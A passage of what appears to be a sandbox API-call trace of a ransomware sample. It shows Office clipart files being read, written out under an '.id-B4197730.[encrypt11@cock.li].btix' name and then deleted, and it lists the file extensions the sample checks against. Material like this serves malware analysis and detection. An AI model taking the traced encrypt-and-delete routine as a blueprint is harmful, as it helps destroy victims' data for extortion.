Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf")) returned 0x220 [0130.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0130.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0130.865] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.865] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0130.866] GetLastError () returned 0x0 [0130.866] ReadFile (in: hFile=0x430, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x34e2, lpOverlapped=0x0) returned 1 [0130.885] WriteFile (in: hFile=0x42c, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0x34f0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0x34f0, lpOverlapped=0x0) returned 1 [0130.887] ReadFile (in: hFile=0x430, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0130.887] WriteFile (in: hFile=0x42c, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0130.887] SetEndOfFile (hFile=0x42c) returned 1 [0130.887] CloseHandle (hObject=0x42c) returned 1 [0130.887] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.887] SetEndOfFile (hFile=0x430) returned 1 [0130.889] CloseHandle (hObject=0x430) returned 1 [0130.890] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0130.890] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf")) returned 1 [0130.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0130.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0130.890] lstrlenW (lpString=".doc") returned 4 [0130.890] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0130.890] lstrlenW (lpString=".docx") returned 5 [0130.890] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0130.891] lstrlenW (lpString=".pdf") returned 4 [0130.891] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0130.891] lstrlenW (lpString=".xls") returned 4 [0130.891] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0130.891] lstrlenW (lpString=".xlsx") returned 5 [0130.891] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0130.891] lstrlenW (lpString=".ppt") returned 4 [0130.891] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0130.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0130.891] lstrlenW (lpString=".zip") returned 4 [0130.891] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0130.891] lstrlenW (lpString=".rar") returned 4 [0130.891] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0130.891] lstrlenW (lpString=".bz2") returned 4 [0130.891] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0130.891] lstrlenW (lpString=".7z") returned 3 [0130.891] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0130.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0130.891] lstrlenW (lpString=".dbf") returned 4 [0130.891] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0130.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0130.891] lstrlenW (lpString=".1cd") returned 4 [0130.891] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0130.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0130.891] lstrlenW (lpString=".jpg") returned 4 [0130.891] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0130.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0130.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0130.891] lstrlenW (lpString=".doc") returned 4 [0130.891] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0130.891] lstrlenW (lpString=".docx") returned 5 [0130.891] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0130.891] lstrlenW (lpString=".pdf") returned 4 [0130.891] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0130.891] lstrlenW (lpString=".xls") returned 4 [0130.892] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0130.892] lstrlenW (lpString=".xlsx") returned 5 [0130.892] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0130.892] lstrlenW (lpString=".ppt") returned 4 [0130.892] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0130.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0130.892] lstrlenW (lpString=".zip") returned 4 [0130.892] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0130.892] lstrlenW (lpString=".rar") returned 4 [0130.892] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0130.892] lstrlenW (lpString=".bz2") returned 4 [0130.892] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0130.892] lstrlenW (lpString=".7z") returned 3 [0130.892] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0130.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0130.892] lstrlenW (lpString=".dbf") returned 4 [0130.892] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0130.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0130.892] lstrlenW (lpString=".1cd") returned 4 [0130.892] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0130.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0130.892] lstrlenW (lpString=".jpg") returned 4 [0130.892] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0130.892] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0130.892] lstrlenW (lpString="HH00527_.WMF") returned 12 [0130.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0130.893] GetFileSizeEx (in: hFile=0x430, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=5798) returned 1 [0130.893] CloseHandle (hObject=0x430) returned 1 [0130.893] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf")) returned 0x220 [0130.893] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0130.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0130.893] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.894] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0130.894] GetLastError () returned 0x0 [0130.894] ReadFile (in: hFile=0x430, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x16a6, lpOverlapped=0x0) returned 1 [0130.909] WriteFile (in: hFile=0x42c, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0x16b0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0x16b0, lpOverlapped=0x0) returned 1 [0130.910] ReadFile (in: hFile=0x430, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0130.910] WriteFile (in: hFile=0x42c, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0130.911] SetEndOfFile (hFile=0x42c) returned 1 [0130.911] CloseHandle (hObject=0x42c) returned 1 [0130.911] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.911] SetEndOfFile (hFile=0x430) returned 1 [0130.925] CloseHandle (hObject=0x430) returned 1 [0130.925] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0130.925] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf")) returned 1 [0130.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0130.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0130.926] lstrlenW (lpString=".doc") returned 4 [0130.926] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0130.926] lstrlenW (lpString=".docx") returned 5 [0130.926] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0130.926] lstrlenW (lpString=".pdf") returned 4 [0130.926] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0130.926] lstrlenW (lpString=".xls") returned 4 [0130.926] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0130.926] lstrlenW (lpString=".xlsx") returned 5 [0130.926] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0130.926] lstrlenW (lpString=".ppt") returned 4 [0130.926] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0130.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0130.926] lstrlenW (lpString=".zip") returned 4 [0130.926] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0130.926] lstrlenW (lpString=".rar") returned 4 [0130.926] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0130.926] lstrlenW (lpString=".bz2") returned 4 [0130.926] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0130.926] lstrlenW (lpString=".7z") returned 3 [0130.926] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0130.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0130.927] lstrlenW (lpString=".dbf") returned 4 [0130.927] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0130.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0130.927] lstrlenW (lpString=".1cd") returned 4 [0130.927] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0130.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0130.927] lstrlenW (lpString=".jpg") returned 4 [0130.927] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0130.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0130.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0130.927] lstrlenW (lpString=".doc") returned 4 [0130.927] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0130.927] lstrlenW (lpString=".docx") returned 5 [0130.927] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0130.927] lstrlenW (lpString=".pdf") returned 4 [0130.927] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0130.927] lstrlenW (lpString=".xls") returned 4 [0130.927] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0130.927] lstrlenW (lpString=".xlsx") returned 5 [0130.927] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0130.927] lstrlenW (lpString=".ppt") returned 4 [0130.927] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0130.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0130.927] lstrlenW (lpString=".zip") returned 4 [0130.927] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0130.927] lstrlenW (lpString=".rar") returned 4 [0130.927] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0130.927] lstrlenW (lpString=".bz2") returned 4 [0130.927] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0130.927] lstrlenW (lpString=".7z") returned 3 [0130.927] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0130.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0130.927] lstrlenW (lpString=".dbf") returned 4 [0130.927] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0130.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0130.928] lstrlenW (lpString=".1cd") returned 4 [0130.928] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0130.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0130.928] lstrlenW (lpString=".jpg") returned 4 [0130.928] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0130.928] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0130.928] lstrlenW (lpString="HH00546_.WMF") returned 12 [0130.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0130.928] GetFileSizeEx (in: hFile=0x430, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=3718) returned 1 [0130.928] CloseHandle (hObject=0x430) returned 1 [0130.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf")) returned 0x220 [0130.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0130.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0130.929] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.929] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0130.930] GetLastError () returned 0x0 [0130.930] ReadFile (in: hFile=0x430, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0xe86, lpOverlapped=0x0) returned 1 [0130.933] WriteFile (in: hFile=0x4a8, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xe90, lpOverlapped=0x0) returned 1 [0130.934] ReadFile (in: hFile=0x430, lpBuffer=0x3c65020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0130.934] WriteFile (in: hFile=0x4a8, lpBuffer=0x3c65020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c65020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0130.934] SetEndOfFile (hFile=0x4a8) returned 1 [0130.934] CloseHandle (hObject=0x4a8) returned 1 [0130.934] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.934] SetEndOfFile (hFile=0x430) returned 1 [0130.937] CloseHandle (hObject=0x430) returned 1 [0130.937] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0130.937] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf")) returned 1 [0130.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0130.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0130.938] lstrlenW (lpString=".doc") returned 4 [0130.938] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0130.938] lstrlenW (lpString=".docx") returned 5 [0130.938] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0130.938] lstrlenW (lpString=".pdf") returned 4 [0130.938] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0130.938] lstrlenW (lpString=".xls") returned 4 [0130.938] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0130.938] lstrlenW (lpString=".xlsx") returned 5 [0130.938] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0130.938] lstrlenW (lpString=".ppt") returned 4 [0130.938] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0130.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0130.938] lstrlenW (lpString=".zip") returned 4 [0130.938] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0130.938] lstrlenW (lpString=".rar") returned 4 [0130.938] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0130.938] lstrlenW (lpString=".bz2") returned 4 [0130.938] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0130.938] lstrlenW (lpString=".7z") returned 3 [0130.939] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0130.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0130.939] lstrlenW (lpString=".dbf") returned 4 [0130.939] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0130.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0130.939] lstrlenW (lpString=".1cd") returned 4 [0130.939] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0130.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0130.939] lstrlenW (lpString=".jpg") returned 4 [0130.939] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0130.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0130.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0130.939] lstrlenW (lpString=".doc") returned 4 [0130.939] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0130.939] lstrlenW (lpString=".docx") returned 5 [0130.939] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0130.939] lstrlenW (lpString=".pdf") returned 4 [0130.939] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0130.939] lstrlenW (lpString=".xls") returned 4 [0130.939] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0130.939] lstrlenW (lpString=".xlsx") returned 5 [0130.939] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0130.939] lstrlenW (lpString=".ppt") returned 4 [0130.939] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0130.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0130.939] lstrlenW (lpString=".zip") returned 4 [0130.939] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0130.939] lstrlenW (lpString=".rar") returned 4 [0130.939] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0130.939] lstrlenW (lpString=".bz2") returned 4 [0130.939] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0130.940] lstrlenW (lpString=".7z") returned 3 [0130.940] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0130.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0130.940] lstrlenW (lpString=".dbf") returned 4 [0130.940] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0130.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0130.940] lstrlenW (lpString=".1cd") returned 4 [0130.940] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0130.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0130.940] lstrlenW (lpString=".jpg") returned 4 [0130.940] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0130.940] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0130.940] lstrlenW (lpString="HH00601_.WMF") returned 12 [0130.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0130.941] GetFileSizeEx (in: hFile=0x430, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=1468) returned 1 [0130.941] CloseHandle (hObject=0x430) returned 1 [0130.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf")) returned 0x220 [0130.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0130.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 